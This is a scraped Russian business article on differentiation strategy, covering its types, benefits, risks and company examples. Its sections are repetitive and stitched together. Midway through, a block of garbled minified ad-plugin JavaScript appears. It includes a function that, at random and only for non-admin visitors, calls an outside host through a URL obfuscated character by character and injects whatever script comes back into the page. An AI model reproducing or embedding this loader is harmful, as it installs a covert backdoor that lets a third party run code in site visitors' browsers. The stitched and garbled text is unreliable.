Конкурентная стратегия дифференциации: типы и направления

Конкурентная стратегия дифференциации: типы и направления Инвестиции

Вертикальная дифференциация

Вторая разновидность товарной дифференциации – создание еще одного вида продукта, который решает ту же проблему, что и имеющийся. Однако подвиды товара будут отличаться несущественной характеристикой. В результате клиент получит больший выбор и разнообразие на полках.

Реализуя стратегию товарной дифференциации, компания может комбинировать вертикальный и горизонтальный виды стратегии.

Вертикальная и горизонтальная дифференциация

Специалисты выделяют вертикальную и горизонтальную дифференциации. Горизонтальная дифференциация предполагает, что компания разрабатывает различные товары для разных групп потребностей потребителя, вертикальная дифференциация, наоборот, предполагает выпуск продуктов, удовлетворяющих одну потребность потребителя. Сочетание обоих видов дифференциации возможно в одном портфеле компании.

Если компания выбирает стратегию использования исключительно горизонтальной дифференциации, то она выпускает товар под каждую конкретную, необходимую здесь и сейчас потребность потребителей. Если же компания делает фокус на вертикальную дифференциацию, то выпускает товары, удовлетворяющие одну конкретную потребность покупателей.

Виды дифференциации

Больше всего распространена товарная дифференциация. Компания работает именно над улучшением продукции, чтобы она отличалась от конкурентов. Такая концепция может быть реализована в двух форматах – горизонтальная и вертикальная. 

Виды и подробности

Сервисная дифференциация — предложение услуг (быстрота и гарантированность снабжения, диагностирование, послепродажные гарантии), которые идут в купе с изделием, собственным ассортиментом и качеством, превосходят сервис конкурентов.

Дифференциация штата — наём и обучение штата, осуществляющего собственный функционал намного лучше, наиболее эффективнее, в отличие от штата конкурентов.

Дифференциация имиджа — формирование облика предприятия или его товаров, которые смогли бы отличить их в наилучшую сторону от имиджа конкурентов и их продукции.

Достоинства стратегии дифференциации:

https://www.youtube.com/watch?v=lNeyr5Lv2G8

Рискованность стратегии дифференциации:

  • — значительные расходы на формирование образа компании;
  • — товарная дифференциация окажется безмерной, и потребитель не заметит результата дифференциации, получается, что расхождения промеж характеристиками товара и стоимостью его продажи, не станет им восприниматься, и он выберет товар прочих организаций;
  • — может проходить имитирование прочих компаний, что сможет привести к уменьшению достоинств, которые взаимосвязаны с разделением;
  • — возможно уменьшится нуждаемость покупателей в дифференцированных товарах, что создаст неэффективность их производительности.

Изготовитель, который плодотворно использует основы дифференциации, подробно исследует действия и нуждаемость покупателей с целью выявления предположений и мыслей потребителей касательно ценностей и значимостей любых признаков. Пройдя эту ступень, организация дифференцирует собственные товары применительно нескольким признакам, подталкивая выбор покупателей к предложенному организацией товарному ряду.

Удачно проведённая дифференциация приводит к:

  • — повышенной наценке на собственные товары;
  • — продаже значительного объёма продукции (так как идёт привлечение дополнительного количества потребителей);
  • — раскрутке торговой марки организации среди покупателей (так как многие покупатели значительно прикипают к дифференцирующим признакам). Разделение сможет привести к дополнительной прибыли, в случае, если накрутка перекроет дополнительные издержки, которые взаимосвязаны с её осуществлением.

Огромный результат может обеспечить дифференциация, которая основывается:

  • — на технологиях превосходства;
  • — на высшем качестве товаров;
  • — на обеспечении потребителей большим ассортиментом сопутствующих услуг.

Возможные риски стратегии

Дифференциация или конкурентная стратегия лидерства в продукте означает создание уникального для отрасли товара. Зачастую она основана на создании совершенного нового продукта либо наделении уже существующего, стандартизированного продукта какими-либо уникальными отличительными свойствами в целях его продажи по более высокой цене и получения более высокой нормы прибыли.

Сущность стратегии дифференциации сводится к усовершенствованию продукта и развитию его свойств, наиболее важных для целевой аудитории. За счет этого компания получает возможность устанавливать на свою продукцию более высокие отпускные цены, нежели конкуренты.

Основными предпосылками для использования в маркетинге стратегий подобного рода послужили следующие факторы:

  • разнообразность структуры рыночного спроса;
  • преобладание неценовой конкуренции;
  • признание потребителями ценности уникальных характеристик продукции;
  • наличие у товаропроизводителей возможности наделения своей продукции неповторимыми свойствами.

Использование стратегии дифференциации считается весьма эффективным методом достижения конкурентного преимущества на рынке, получившем широкое распространение, и способствует обеспечению долгосрочного прибыльного роста. Сама же стратегия неизменно требует наличия у товара уникальных свойств, высокой квалификации и профессиональной подготовки трудовых ресурсов (маркетинга, исследователей, разработчиков), возможности создать репутацию высокого качества товара и защитить созданное конкурентное преимущество товара (патенты).

Применение стратегии дифференциации может потребовать серьезных инвестиций, необходимых для разработки уникальных свойств и их донесения до целевого рынка (прямой рекламы продукта).

Считается, что любая успешная стратегия дифференциации должна включать в себя пять базовых пунктов. В общем виде они представлены на рисунке 1.

Рисунок 1. Базовые элементы стратегии дифференциации. Автор24 — интернет-биржа студенческих работ

Прежде всего, необходимо создать уникальное имя товара и его продавца, которое было бы запоминаемо, понимаемо и пригодно для использования в различных марочных коммуникациях.

Далее следуют этапы идентификации и персонификации. В первом случае речь идет о наклеивании лейблов на продукцию, создание системы опознавательных знаков и символов, совокупность которых воплощает в себе саму идею бренда и доносит ее до потребителя.

Про бизнес:  Как зарабатывать на криптовалюте с нуля новичку в 2021 активно: 9 способов - HUB - новости компаний и мнения сообщества на ForkLog

Немаловажную роль играет создание идей новых товаров. Определяющая роль, однако, отводится дифференциации предложения, основанной на предложении отличного от конкурентов уровня сервиса или качества товара.

Использование дифференциации в маркетинге и использование ее в качестве основы стратегии конкурентной борьбы имеет множество преимуществ. В то же время реализация подобной стратегии сопряжена с определёнными рисками. В общем виде они представлены на рисунке 2. Рассмотрим их более подробно.

Рисунок 2. Преимущества и недостатки стратегии дифференциации. Автор24 — интернет-биржа студенческих работ

Уникальность свойств продукции и ее отличия от товаров-конкурентов обеспечивают защиту от прямого конкурентного соперничества и давления со стороны товаров-заменителей, а также создают лояльность потребителей к бренду и понижает чувствительность к цене. Все это считается основным преимуществом использования стратегии дифференциации.

Основным же недостатком стратегии данного типа выступает довольно высокая стоимость ее реализации, непосредственно связанная с наделением продукции уникальными свойствами. Помимо этого, всегда существует вероятность потери уникальности свойств продукции в виду их быстрого копирования со стороны конкурирующих фирм.

Несмотря на наличие существенных рисков, успешная разработка и реализация стратегии дифференциации способны принести бизнесу весьма существенные выгоды. В первую очередь речь идет о возможности установления высоких наценок на продукцию и наращивании объемов сбыта.

Преимущества применения такой стратегии:

  • повышение лояльности потребителей к продукции компании;
  • высокие входные барьеры обеспечиваются предпочтениями клиентов;
  • влияние покупателей на продукцию снижается благодаря его уникальным свойствам;
  • получение дополнительной прибыли, за счет этого отношения с поставщиками облегчаются;
  • формирование благоприятного имиджа компании.

Успешно проведенная стратегия дифференциации компании позволяет устанавливать более высокую наценку на выпускаемую продукцию, а также повышать объем реализации. Достижение лояльности потребителей может принести увеличение постоянных клиентов, которые имеют свойство привязываться к определенным дифференцирующим признакам.

Использование стратегии дифференциации также подвержено и определенным рискам, а именно:

  • возможно снижение потребности потребителя в дифференцированной продукции, что приведет к убыткам компании и неэффективности производства:
  • чрезмерные затраты на создание и поддержание имиджа компании;
  • уникальные характеристики продукции могут быть не поняты потребителями и оказаться для них чрезмерными, покупатель не ощутит разницу между качеством и ценой и предпочтет продукцию конкурентов;
  • снижение преимуществ стратегии дифференциации, если продукт получится сильно похожим на продукцию конкурентов.

Компаниям также необходимо помнить, что особенная характеристика или свойство товара через некоторое время может быть скопировано производителями-конкурентами, и выпускаемый продукт потеряет свою уникальность. Получив возможность приобрести аналогичный у компании-конкурента по более низкой цене, потребитель в большинстве случае ею воспользуется.

Горизонтальная дифференциация

Горизонтальная разновидность стратегии предполагает создания новых подвидов уже имеющегося продукта. Новинки должны отличаться по потребностям клиентов, которые они закрывают. Классический пример горизонтальной дифференциации – наличие в магазинах шампуней для разных типов волос.

Обладатели жирных волос имеют потребность дольше сохранить свежесть прически. Обладатели сухих – дополнительно увлажнить волосы. Обе потребности не получится закрыть с помощью универсального шампуня, поэтому производитель создает несколько видов одного продукта.

Дифференциации стратегия — это возможность получить конкурентные преимущества | принцип права – интернет журнал

«:’

‘:»»,document.createElement(«div»),c=ff(window),b=ff(«body»),g=void 0===flatPM_getCookie(«flat_modal_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» a.ID «_mb»),i=»scroll.flatmodal» a.ID,m=»mouseleave.flatmodal» a.ID » blur.flatmodal» a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&»true»==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie&&g&&(flatPM_setCookie(«flat_modal_» a.ID «_mb»,!1),ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l()),void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ p «

«),w=document.querySelector(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_modal-content’),flatPM_setHTML(w,e),»px»==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_cross’,function(){flatPM_setCookie(«flat_out_» a.ID «_mb»,!1)})),void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=a.how.outgoing.indent?’ style=»bottom:’ a.how.outgoing.indent ‘px»‘:»»,p=»true»==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count «

«:’

‘:»»,c=ff(window),h=»scroll.out» a.ID,m=»mouseleave.outgoing» a.ID » blur.outgoing» a.ID,g=void 0===flatPM_getCookie(«flat_out_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» a.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(a.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ p «

«);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’);flatPM_setHTML(w,e),»px»==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,o=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».fpm_5_out .fpm_5_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».fpm_5_modal .fpm_5_cross»,function(){ff(this).closest(«.fpm_5_modal»).removeClass(«fpm_5_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),ff(«[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)»).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,»<$1>») r[2],n=r[0];n—;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,166);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «r» «e» «a» «d» «o» «n» «e» «.» «r» «u» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(«.fpm_5_video»);flatPM_setHTML(t[0],n),e.find(«.fpm_5_video_flex»).one(«click»,function(){o(this).addClass(«show»)})}),o(«body»).on(«click»,».fpm_5_video_item_hover»,function(){var e=o(this),t=e.closest(«.fpm_5_video_flex»);t.addClass(«show»);var a=t.find(«.fpm_5_timer span»),r=parseInt(l),n=setInterval(function(){a.text(—r),r<=0&&(clearInterval(n),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».fpm_5_video_flex .fpm_5_cross»,function(){o(this).closest(«.fpm_5_video_flex»).remove(),»true»==i&&o(«.fpm_5_video_flex»).remove()})};

Дифференциация имиджа

Стратегия дифференциации – это создание или улучшение имиджа компании, либо же продукции, которую компания производит. Целью является повышение лояльности клиентов. К примеру, компания Apple, благодаря имиджу, имеет большую долю рынка и более высокую лояльность потребителей, нежели конкуренты, при этом продукция в целом схожа у всех производителей.

Дифференциация имиджа позволяет компании производить различную продукцию, представляемую в разных сегментах и под разными торговыми марками.

Дифференциация по имиджу предприятия

Пример этого подхода можно наблюдать на продукции компании Apple. Пресловутые «айфоны» по техническим характеристикам не превосходят, например, продукцию компании Samsung, но на мотивацию потребителей оказывает влияние престижность марки. Компания Apple обладает определенным имиджем, зарабатываемым годами, который теперь работает на нее.

Дифференциация по продажам

Содержание стратегии дифференциации по продажам предполагает гибкую ценовую политику, по каким-либо причинам недоступную конкурентам; охват сети сбыта, информирование потребителей о свойствах товаров и услуг (инструкции и флаера), высокий уровень обслуживания и техническую поддержку.

Про бизнес:  Методы прогнозирования и планирования инвестиций

Также можно использовать продажи в кредит и под заказ. Повысить покупательский интерес к качественному продукту можно и выпуском определенного ограниченного количества моделей с соответствующей рекламой.

Дифференциация по товару (продукции)

Стратегия дифференциации продукции предполагает выпуск товара с такими свойствами, которых нет у конкурентов. Например: более выгодная цена, дополнительные функции товара, постоянное обновление марки, даже внешний вид товара.

Хорошим конкурентоспособным свойством также являются лучшие технические и экологические характеристики, медицинские показания. Например, из всего многообразия стиральных порошков и прочей бытовой химии потребители выбирают наименее токсичные и содержащие минимум вредных веществ (бесфосфатные порошки, щадящие отбеливатели и т.д.).

Дифференциация по услугам

Эта стратегия дифференциации заключаетсяне только в обучении более квалифицированного персонала, чем у конкурентов, и, соответственно оказании консультационной помощи на стадии принятия решения о покупке. И не только в своевременной и удобной доставке и при необходимости сборке товара.

Дифференциация по услугам предполагает также сопровождение товара после продажи: сервисное обслуживание, гарантийный ремонт, служба технической поддержки по телефону или онлайн.

Дифференциация по цене

В данном случае стратегия дифференциации – это выставление на продажу товара, который удовлетворяет те же потребности потребителя, что и товары производителей-конкурентов, но по другой цене: более низкой или более высокой.

Снижение цены используется для привлечения массовой группы клиентов, которые желают сэкономить. Повышение цены используется для привлечения клиентов, которые обращают внимание на престиж и статус товара, дизайн и высокую скорость обслуживания.

К примеру, косметические компании часто выпускают тот или иной продукт в лимитированной коллекции, сотрудничая с известным визажистом или популярным артистом. Свойства товара остаются прежними, но ограниченность и престиж коллекции заставляет потребителей, которые обращают внимание именно на данные характеристики, приобретать товары по более высокой цене.

Дифференциация через упаковку

Существует и дифференциация через изменение дизайна и формы упаковки. Компания, создавая уникальный дизайн собственной продукции, стремится выделить товар на полке магазина, обратить на него взгляд покупателей. Уникальная упаковка, запоминающийся дизайн – все это может повысить продажи и сделать компанию более конкурентоспособной.

Примером могут служить компании, выпускающие классический продукт, имеющий популярность, в лимитированной упаковке к определенному событию. К примеру, это могут быть чехлы для смартфонов, упакованные в новую коробку, имеющую новый дизайн, посвященный Чемпионату мира по футболу в России в 2022 году.

Концентрация в одной нише рынка

Стратегия дифференциации – это не только попытка удовлетворить потребности разных потребителей во всех сегментах рынка, но и также возможность выбора одной ниши для повышения объема продаж именно в ней. Такой подход предпочитают небольшие компании.

Выбирая нишу с потребителями, имеющими специфические запросы, компания может все силы направить на выпуск продукта, удовлетворяющего их. Создается «идеальный» товар, который вызовет всплеск интереса потребителей одной ниши, но не будет интересен рынку в целом.

Направления применения стратегии дифференциации

Конкурентная стратегия дифференциации предполагает создание такого товара или услуги, которые являлись бы уникальными в своей отрасли и вызвали бы интерес у потребителей.

Дифференциация может применяться в нескольких направлениях:

Обычно предприятие работает сразу не по одному, а по нескольким направлениям. Ниже мы рассмотрим некоторые из них подробнее.

Стоит учитывать, что стратегия широкой дифференциации предполагает не только уникальный товар или услугу, которых больше ни у кого нет, но и товар с уникальными свойствами, повторить которые трудно или вовсе невозможно.

Общие сведения

Вкладывание в продукцию неповторимых характеристик, которые выделяют его из числа подобных по предназначению товаров, требуют вспомогательных трат на исследования, рост спецификации и прочее. Все траты, в случае оправданности, получается компенсировать установлением повышенной стоимости. Превосходство в конкуренции, которое получается достичь в ходе дифференциации изделия, гарантирует прирост объёма продаж, получение незапланированной выгоды за счёт отвоёванных преференций разных групп потребителей. Кроме продукта, возможно дифференцирование услуги, имиджа, штата сотрудников.

Преимущества стратегии

Объективная предпосылка для внедрения стратегии – увеличение потребительских запросов. Со временем даже лучший товар надоедает. Клиентам уже не хватает того, что существует на рынке. 

Дифференциация вынуждает компанию сконцентрироваться на разработке нового уникального торгового предложения. Фирма глубже изучает свою целевую аудиторию, чтобы предложить ей тот продукт, который полностью соответствует ее текущим ожиданиям и требованиям.

В результате компания, в первую очередь, получает рост прибыли. Однако, кроме этого, увеличивается лояльность клиентов и узнаваемость. Потребителям выгодно, когда на рынке нужный им продукт предлагается в разных форматах. Люди выбирают то, что за те же деньги приносит им наибольшую ценность. Производителей таких товаров они легко рекомендуют знакомым.

Вот какие еще преимущества есть у стратегии дифференциации:

  • входной барьер получается завышенным за счет оригинальности продукции и интереса клиентов;
  • увеличивается выбор контрагентов. Больше поставщиков, партнеров, инвесторов хотят сотрудничать с успешной компанией;
  • формируется положительная репутация бренда, ведь клиенты видят заботу о них;
  • появляется возможность в будущем повысить цену на уникальный продукт и тем самым еще больше увеличить выручку;
  • продукт реализуется в больших объемах, что позволяет оптимизировать складское хранение. 

Примеры реализации стратегии дифференциации

Примеры успешной реализации стратегии дифференциации встречаются на каждом шагу:

  1. Соперничающие компании AVON и Oriflame выпускают линейку относительно недорогой косметики и бытовой химии, а также сопутствующие аксессуары. Обе компании проводят политику ограниченного выпуска: например, некоторые крема или лосьоны появляются только в сезонных каталогах, некоторые выпускают только ограниченными партиями. Также обе компании постоянно проводятся различные акции и предоставляются постоянные скидки.
  2. Крупный украинский банк ПриватБанк предоставляет своим клиентам не только возможность бесплатного получения карты за пятнадцать минут и полную круглосуточную онлайн поддержку и программу «Интернет-банкинг», но и возможность получать скидки за использование расчета по карте во многих магазинах и салонах. Также владельцы карт «Привата» могут привязать карты к электронным сервисам: пополнять WebMoney-кошельки, выводить электронные средства на карту, оплачивать покупки и коммунальные услуги и так далее.
    Стоит упомянуть, что ПриватБанк проводит дифференциацию и в сфере предоставления услуг: на сегодня банк занимает лидирующую позицию по количеству и доступности банкоматов и терминалов.
  3. Рекламный слоган американской компании по производству прохладительных напитков 7UP, позиционирующий напиток как «не Колу». Такой подход принес небывалый успех и невероятно подстегнул продажи. Если бы по непонятным причинам компания не сменила слоган на «Выбор Америки», возможно, напиток продолжал бы находиться в тройке лучших.
  4. Примером успешного применения стратегии дифференциации можно считать и деятельность многих автомобильных концернов. Казалось бы, уж здесь-то сложно развернуться: нет ничего такого, что могло бы предложить одно предприятие и тут же не перехватить другое, но, тем не менее, руководство концернов находит способы выделиться на общем фоне. Например, и BMW и компания Mercedes выпускают ограниченную линию эксклюзивных моделей, что позволяет устанавливать более высокую цену и при этом способствовать созданию определенной репутации. Японская компания Toyota добилась признания на рынке за счет умелого применения сначала дифференциации по издержкам, а затем – по качеству и ассортименту товара.
Про бизнес:  Опираясь на знания обществоведческого курса, объясните смысл понятия "образование" - Варианты и

Применяя стратегию дифференциации следует помнить, что нужно всегда следить за изменениями рынка и искать пути повышения производства и снижения затрат, иначе рано или поздно цена продукта превысит покупательский интерес и не сможет окупить издержек.

Прочие виды дифференциации

Клиентам можно предложить не только уникальный продукт. Кроме товарной, существуют и другие виды дифференциации:

  • сервисная. Компания предоставляет клиентам дополнительные или более качественные, чем у конкурентов, услуги. Например, увеличенную скорость сбора и доставки заказа, более долгую гарантию на товар, техническую поддержку по телефону или на сайте;
  • штатная. Компания отличается от конкурентов более высокой квалификацией своих сотрудников. Благодаря опыту и проводимым в компании тренингам работники могут оказать более качественную помощь клиентам. Это тоже влияет на рост лояльности потребителей;
  • рекламная. Отстройка от конкурентов производится за счет рекламы. Компания использует запоминающиеся слоганы, яркие расцветки рекламных макетов. Кроме того, дифференцироваться можно, если разместить объявление в нестандартном месте;
  • продающая. Эта разновидность дифференциации предполагает активное использование программ лояльности. Компания придерживается гибкой ценовой политики, может снизить цену на товары без ущерба качеству. Также она устраивает акции, распродажи, предлагает клиентам несколько вариантов оплаты.

Иногда отдельным видом дифференциации называют имиджевую. Отстройка компании от конкурентов достигается за счет имиджа, восприятия бренда в сознании потребителей. Например, на основе имиджа получилось дифференцироваться у Apple. Электроника этого бренда не всегда превосходит конкурентов по техническим параметрам. Однако многие потребители выбирают именно Apple, потому что гаджеты подчеркивают статус своих владельцев.

Риски дифференциации

Реализация стратегии требует существенных денежных вложений. Ведь сначала предприниматели вынуждены тратить ресурсы на анализ конкурентов и ЦА, а потом – на разработку обновленных версий продуктов, их продвижение. В связи с существенными затратами предпринимателю важно правильно оценить риски, связанные со стратегией.

Во-первых, стоит рассчитать планируемую прибыль с продаж новинок. Важно, чтобы она покрыла издержки на создание нового продукта и его сбыт. Во-вторых, следует учесть такие особенности стратегии:

  • избыточная дифференциация приведет к снижению продаж. Если у одного бренда будет слишком много уникальных, но похожих товаров, то потребители запутаются в них. Клиент не поймет, какой именно товар из ассортимента подходит ему и за что он будет платить высокую цену. В итоге уйдет к конкуренту, у которого более понятная, пусть и небольшая линейка товаров;
  • конкуренты могут позаимствовать уникальные качества. Как только один производитель выводит на рынок новый товар с какой-то уникальной характеристикой, через некоторое время появляются аналоги у конкурентов. Чем больше аналогов есть на рынке, тем меньше преимуществ от дифференциации получает первый производитель. Следовательно, он будет вынужден постоянно развивать свой продукт и придумывать что-то новое;
  • клиентам со временем требуется меньше товаров с уникальными качествами. 

Важно понимать, что дифференциация не принесет ожидаемого успеха в следующих случаях:

  • у продукта появились уникальные характеристики, но клиент не получил от них пользы;
  • цена повысилась, но прирост стоимости не сопоставим с новым свойством;
  • производитель не понимает, чем товар может быть ценен и полезен аудитории.

Шаги к проведению дифференциации

Компания, решившая проводить конкурентную стратегию дифференциации по продукту, должна соблюсти 3 условия:

  • определение необходимых характеристик для выпускаемого товара;
  • проведение анализа всех свойств и характеристик товаров, выпускаемых компаниями-конкурентами;
  • составление необходимого списка потребительских свойств товара, которые необходимы покупателям в каждом сегменте рынка.

Выполнение всех 3 шагов позволяет компании найти свою нишу и, применив одну из стратегий дифференциации, выпустить продукт, который будет пользоваться спросом у потребителей.

Оцените статью
Бизнес Болика